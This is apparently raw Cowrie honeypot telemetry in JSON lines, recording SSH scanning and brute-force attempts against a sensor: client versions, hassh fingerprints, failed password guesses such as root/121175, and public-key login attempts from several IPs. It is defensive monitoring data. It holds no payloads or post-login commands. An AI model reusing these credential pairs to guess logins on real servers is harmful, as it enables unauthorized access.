{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:38.482240Z","src_ip":"119.203.251.187","session":"d5b3fadcb903","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:38.677457Z","src_ip":"119.203.251.187","session":"d5b3fadcb903","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"1q2w3e4r","message":"login attempt [user01/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:39.494259Z","src_ip":"119.203.251.187","session":"d5b3fadcb903","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:40.693107Z","src_ip":"119.203.251.187","session":"d5b3fadcb903","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":35132,"dst_ip":"159.203.135.109","dst_port":22,"session":"66527d307b84","protocol":"ssh","message":"New connection: 159.65.58.200:35132 (159.203.135.109:22) [session: 66527d307b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:45.399679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:45.707243Z","src_ip":"159.65.58.200","session":"66527d307b84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:45.710464Z","src_ip":"159.65.58.200","session":"66527d307b84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sis","password":"123456","message":"login attempt [sis/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:46.437935Z","src_ip":"159.65.58.200","session":"66527d307b84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:47.687232Z","src_ip":"159.65.58.200","session":"66527d307b84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":58350,"dst_ip":"159.203.135.109","dst_port":22,"session":"a241d82e3e9c","protocol":"ssh","message":"New connection: 147.45.199.80:58350 (159.203.135.109:22) [session: a241d82e3e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:50.309633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:50.313597Z","src_ip":"147.45.199.80","session":"a241d82e3e9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:50.402755Z","src_ip":"147.45.199.80","session":"a241d82e3e9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"121175","message":"login attempt [root/121175] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:50.672772Z","src_ip":"147.45.199.80","session":"a241d82e3e9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:51.764246Z","src_ip":"147.45.199.80","session":"a241d82e3e9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.29.214.161","src_port":50078,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a195e6a9523","protocol":"ssh","message":"New connection: 14.29.214.161:50078 (10.17.0.5:22) [session: 5a195e6a9523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:03.481826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:03.486192Z","src_ip":"14.29.214.161","session":"5a195e6a9523","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:04.394171Z","src_ip":"14.29.214.161","session":"5a195e6a9523","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"julian123","message":"login attempt [root/julian123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:05.374495Z","src_ip":"14.29.214.161","session":"5a195e6a9523","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":36266,"dst_ip":"10.17.0.5","dst_port":22,"session":"d03467c19f6c","protocol":"ssh","message":"New connection: 8.210.75.243:36266 (10.17.0.5:22) [session: d03467c19f6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:06.039145Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":57922,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7d842bc3771","protocol":"ssh","message":"New connection: 38.93.206.2:57922 (10.17.0.5:22) [session: a7d842bc3771]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:06.111944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:06.116451Z","src_ip":"38.93.206.2","session":"a7d842bc3771","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:06.169986Z","src_ip":"38.93.206.2","session":"a7d842bc3771","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345ndby","message":"login attempt [root/12345ndby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:06.331445Z","src_ip":"38.93.206.2","session":"a7d842bc3771","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:06.613919Z","src_ip":"14.29.214.161","session":"5a195e6a9523","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:07.363765Z","src_ip":"8.210.75.243","session":"d03467c19f6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:07.384926Z","src_ip":"38.93.206.2","session":"a7d842bc3771","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:10.887080Z","src_ip":"8.210.75.243","session":"d03467c19f6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.3.150.58","src_port":43668,"dst_ip":"10.17.0.5","dst_port":22,"session":"d79aa1114a70","protocol":"ssh","message":"New connection: 192.3.150.58:43668 (10.17.0.5:22) [session: d79aa1114a70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:11.525656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:11.530157Z","src_ip":"192.3.150.58","session":"d79aa1114a70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:11.602821Z","src_ip":"192.3.150.58","session":"d79aa1114a70","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:db:18:92:d8:2a:3d:d4:67:d8:50:96:2f:57:12:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1eGz79IIpTw1Y18oDgXFpfvubnc08qTnNWdyp4ngaTbFuKtztdhbxJfP0TZwgJAaTUg5FWx/HBx0eJ/bTx5mzXdrTFoYBXhemba+mnJaPaYfItc1fdWC9COxugwMYHwI2XDDa9N5gkT8JhGMpe2OHFoOkr+k+H+ZLAvZdDPYPaTzKyRMnVGRqZwoWKfQsoA5Wm8PSChMAYV2JCxGGVphnmDVSg/nVhsvNVwXcaC6ECJzV+hZDteh/dps8CWR9+u5Eb3UPkk22qmvlrpUQLJB35efKJeSpGlqSDTfYZR+SZ2Q4tzil3mTN0dRYZqnfqMCpCJs5UdOqGnLUGnVoIW6zw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:db:18:92:d8:2a:3d:d4:67:d8:50:96:2f:57:12:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:11.939109Z","src_ip":"192.3.150.58","session":"d79aa1114a70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:db:18:92:d8:2a:3d:d4:67:d8:50:96:2f:57:12:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1eGz79IIpTw1Y18oDgXFpfvubnc08qTnNWdyp4ngaTbFuKtztdhbxJfP0TZwgJAaTUg5FWx/HBx0eJ/bTx5mzXdrTFoYBXhemba+mnJaPaYfItc1fdWC9COxugwMYHwI2XDDa9N5gkT8JhGMpe2OHFoOkr+k+H+ZLAvZdDPYPaTzKyRMnVGRqZwoWKfQsoA5Wm8PSChMAYV2JCxGGVphnmDVSg/nVhsvNVwXcaC6ECJzV+hZDteh/dps8CWR9+u5Eb3UPkk22qmvlrpUQLJB35efKJeSpGlqSDTfYZR+SZ2Q4tzil3mTN0dRYZqnfqMCpCJs5UdOqGnLUGnVoIW6zw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:11.941917Z","src_ip":"192.3.150.58","session":"d79aa1114a70","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:4c:2b:ee:e4:bb:f8:cc:2a:62:7b:75:e9:73:71:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9aufuKORWSclpqbnEYxHiPBH32Dpu3hm4GwvHzkqqfosHituH/wS9GKRif99PLfLWr57GWXEXZoMM89XG7MVY1XE9OAX2/3Jtft6VE1Lq4d8SFFa56aXfqupSzhqPQj6PVwDhikDME+YvXCrMUp7lAleRwkWctG4W9v8bO0aXgNMk61nmDktwycYnM3splZEmS/uNawX0GiBc8/ijcXKEOusls7B8WewLr5ojPmNrQHOcxaux+BeDYAh7WjDj+fe1DP4W2TZIroTNw3d71L5VZ6QGvJL6AeJQwCBq5scH8T7IcOfceR0QG3PI28iwasEMJask/tLWKqQjLZTHDc55","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:4c:2b:ee:e4:bb:f8:cc:2a:62:7b:75:e9:73:71:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:12.013645Z","src_ip":"192.3.150.58","session":"d79aa1114a70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:4c:2b:ee:e4:bb:f8:cc:2a:62:7b:75:e9:73:71:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9aufuKORWSclpqbnEYxHiPBH32Dpu3hm4GwvHzkqqfosHituH/wS9GKRif99PLfLWr57GWXEXZoMM89XG7MVY1XE9OAX2/3Jtft6VE1Lq4d8SFFa56aXfqupSzhqPQj6PVwDhikDME+YvXCrMUp7lAleRwkWctG4W9v8bO0aXgNMk61nmDktwycYnM3splZEmS/uNawX0GiBc8/ijcXKEOusls7B8WewLr5ojPmNrQHOcxaux+BeDYAh7WjDj+fe1DP4W2TZIroTNw3d71L5VZ6QGvJL6AeJQwCBq5scH8T7IcOfceR0QG3PI28iwasEMJask/tLWKqQjLZTHDc55","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:12.016822Z","src_ip":"192.3.150.58","session":"d79aa1114a70","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e3:8e:1c:d8:de:de:c4:7f:f0:97:87:a0:2e:63:f2:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7vSmUJTHMAWNAm7hp/uNmyIftunFMQRlBy1BgXE8hVrEsOSvs1X39DgnIw9O1pGwyKo19VUU5l0Z8nMXalti1PouXfRSRySElq0aH9QVf20A0YAXlCxOq6ZdXHKWUiqM+fImhgc1ZCXER3uBxkJ+bByBkAD+OJfT/ISPou95yzzkoAaH7WiF+x4TnAKz7RCvHS3TWSUFo878MEGD10o2Yc05Cp/umbGMQRrWU3qB3HUqPYLYed4bqo19aCXT5OnqNXw8ydMaAbyCfabGOHsFysj+vaYUcZhK1LZ5jrp7zNuKFzL5KulWWpilTaPPy1nIjFetOaUBToeW2JdjV6lGT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e3:8e:1c:d8:de:de:c4:7f:f0:97:87:a0:2e:63:f2:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:19:12.088026Z","src_ip":"192.3.150.58","session":"d79aa1114a70","protocol":"ssh"}
